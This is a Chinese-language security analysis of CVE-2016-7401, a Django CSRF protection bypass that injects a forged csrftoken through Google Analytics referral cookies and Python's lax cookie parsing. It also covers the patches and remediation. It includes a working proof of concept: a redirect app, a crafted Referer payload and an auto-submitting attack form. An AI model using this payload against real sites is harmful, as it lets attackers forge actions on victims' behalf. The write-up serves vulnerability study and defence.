Django CSRF Bypass 漏洞分析(CVE-2016-7401)
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-09-28
0x00 漏洞概述
1.漏洞简介
Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。
2.漏洞影响
网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制:
- 使用Google Analytics来做数据统计
- 使用Django作为Web框架
- 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等)
3.影响版本
Django 1.9.x < 1.9.10
Django 1.8.x < 1.8.15
Python2 < 2.7.9
Python3 < 3.2.7
0x01 漏洞复现
1. 环境搭建
1 2 3 4 5 6 7 |
1. pip install django==1.9.9 2. django-admin startproject project 3. cd project 4. python manage.py startapp app 5. cd app 6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中 7. 更改或添加下列文件: |
project/app/views.py:
12345678910111213 from django.shortcuts import renderfrom django.http import HttpResponse# Create your views here.def check(req):if req.method == 'POST':return HttpResponse('CSRF check successfully!')else:return render(req, 'check.html')def ga(req):return render(req, 'ga.html')project/project/urls.py:
12345678910 from django.conf.urls import urlfrom django.contrib import adminfrom app.views import check, gaurlpatterns = [url(r'^admin/', admin.site.urls),url(r'^check/', check, name='check'),url(r'^ga/', ga, name='ga'),]project/app/templates/check.html:
1234 <form action="/check/" method="POST">{% csrf_token %}<input type="submit" value="Check"></input></form>project/app/templates/ga.html(放置Goolge Analytics脚本的页面):
12345678910111213 <script type="text/javascript">var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-XXXXX-X']);_gaq.push(['_trackPageview']);(function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script>
8 |
8. 最后运行开启Django内置server: |
12 # project/python manage.py runserver
2.漏洞分析
我们先来看这样一个场景:
当python内置的Cookie.SimpleCookie()
解析a=hello]b=world
这种形式的字符串时会以]
作为分隔,最后取得a=hello
和b=world
这两个cookie,那么为什么会这样呢?
我们看一下源码,Ubuntu下/usr/lib/python2.7/Cookie.py
第622-663行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
def load(self, rawdata): """Load cookies from a string (presumably HTTP_COOKIE) or from a dictionary. Loading cookies from a dictionary 'd' is equivalent to calling: map(Cookie.__setitem__, d.keys(), d.values()) """ if type(rawdata) == type(""): self.__ParseString(rawdata) else: # self.update() wouldn't call our custom __setitem__ for k, v in rawdata.items(): self[k] = v return # end load() def __ParseString(self, str, patt=_CookiePattern): i = 0 # Our starting point n = len(str) # Length of string M = None # current morsel while 0 <= i < n: # Start looking for a cookie match = patt.search(str, i) if not match: break # No more cookies K,V = match.group("key"), match.group("val") i = match.end(0) ... |
当传入load
一个字符串时,调用__ParseString
,在__ParseString
中有这样一句:match = patt.search(str, i)
,根据之前定义的pattern来查找字符串中符合pattern的cookie,_CookiePattern
在529-545行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
_LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]" _CookiePattern = re.compile( r"(?x)" # This is a Verbose pattern r"(?P<key>" # Start of group 'key' ""+ _LegalCharsPatt +"+?" # Any word of at least one letter, nongreedy r")" # End of group 'key' r"\s*=\s*" # Equal Sign r"(?P<val>" # Start of group 'val' r'"(?:[^\\"]|\\.)*"' # Any doublequoted string r"|" # or r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr r"|" # or ""+ _LegalCharsPatt +"*" # Any word or empty string r")" # End of group 'val' r"\s*;?" # Probably ending in a semi-colon ) |
在这里我们看到]
并没有在_LegalCharsPatt
中,由于代码中使用的是search
函数,所以在匹配a=hello
后碰到]
会跳过这个字符然后再匹配b=world
。因此正是因为使用search
函数来匹配,所以当a=hello后面是任意一个不在_LegalCharsPatt
中的字符(例如[
、\
、]
、\x09
、\x0b
、\x0c
)都会达到同样的效果:
1 2 |
c.load('a=helloXb=world') # X为上述字符 SetCookie: a='hello' b='world' |
这个漏洞也正是整个Bypass的核心所在。
我们再来看Django(1.9.9)中对cookie的解析,在http/cookie.py
中第91-106行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
def parse_cookie(cookie): if cookie == '': return {} if not isinstance(cookie, http_cookies.BaseCookie): try: c = SimpleCookie() c.load(cookie) except http_cookies.CookieError: # Invalid cookie return {} else: c = cookie cookiedict = {} for key in c.keys(): cookiedict[key] = c.get(key).value return cookiedict |
根据动态调试发现这里的SimpleCookie
也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。
我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问http://127.0.0.1:8000/check/
,点击Check然后抓包:
可以看到csrftoken
和csrfmiddlewaretoken
的值是相同的,其中csrfmiddlewaretoken
的值如图:
也就是Django对check.html
中的{% csrf_token %}
所赋的值。
我们再改下包,使csrftoken
和csrfmiddlewaretoken
不相等,这回服务器就会返回403:
我们再把两个值都改成另外一个值看看:
依然成功。
所以Django对于CSRF的防护就是判断cookie中的csrftoken
和提交的csrfmiddlewaretoken
的值是否相等。
那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的csrftoken
值为攻击者构造的csrdmiddlewaretoken
的值。
如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie:
1 |
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH] |
其中[HOST]
和[PATH]
是由Referer确定的,也就是说当Referer: http://x.com/helloworld时,cookie如下:
1 |
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld |
由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置csrftoken的值呢?
这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为http://x.com/hello]csrftoken=world
,GA设置的cookie如下:
1 |
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world |
当Django解析cookie时就会触发上面说的漏洞,将cookie中csrftoken的值赋为world。
实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下:
urls.py:
123456789 from django.conf.urls import urlfrom django.contrib import adminfrom app.views import routeurlpatterns = [url(r'^admin/', admin.site.urls),url(r'^hello', route)]views.py:
1234567 from django.shortcuts import renderfrom django.http import HttpResponse# Create your views here.def route(req):return render(req, 'route.html')route.html:
1 <script> window.location = 'http://127.0.0.1:8000/ga/'; </script>开启中转App:
1 python manage.py runserver xxx构造一个攻击页面:
12345678910111213141516171819 <form id="csrf" action="http://127.0.0.1:8000/check/" method="POST"><input type="hidden" name="csrfmiddlewaretoken" value="boom"></form><script type="text/javascript" charset="utf-8">function sleep (time) {return new Promise((resolve) => setTimeout(resolve, time));}function poc() {window.open('http://redirect-server/hello]csrftoken=boom');sleep(1000).then(() => {document.getElementById('csrf').submit();});}</script><a href='#' onclick=poc()> Click me </a>
当我们点击Click me
,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过:
再访问一下http://127.0.0.1:8000/check/
,可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom,证明漏洞成功触发:
攻击流程如下:
3.补丁分析
Python
可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:
将search
改成了match
函数,所以再遇到非法符号匹配会停止。
再看该文件在2.7.10中的patch:
这里将[\]
设置为了合法的value中的字符,也就是
1 2 3 |
>>> C.load('__utmz=blah]csrftoken=x') >>> C <SimpleCookie: __utmz='blah]csrftoken=x'> |
同样Python3在3.2.7和3.3.6中也做了相应patch:
不过尽管上面对[\]做了限制,但是由于pattern最后\s*的存在,所以在以下情况下仍然存在漏洞:
1 2 3 4 5 6 7 8 |
>>> import Cookie >>> C = Cookie.SimpleCookie() >>> C.load('__utmz=blah csrftoken=x') >>> C.load('__utmz=blah\x09csrftoken=x') >>> C.load('__utmz=blah\x0bcsrftoken=x') >>> C.load('__utmz=blah\x0ccsrftoken=x') >>> C <SimpleCookie: __utmz='blah' csrftoken='x'> |
这些情况在最新的Python中并没有被修复,不过在实际情况中由于浏览器和脚本的原因,这些字符不一定会保存原样发送给Python处理,所以在利用上还要根据场景来分析。
Django
Django在1.9.10和1.8.15中做了相同的patch:
它放弃了使用Python内置库来处理cookie,而是自己根据;分割再取值,使特殊符号不再起作用。
0x02 修复方案
升级Python
升级Django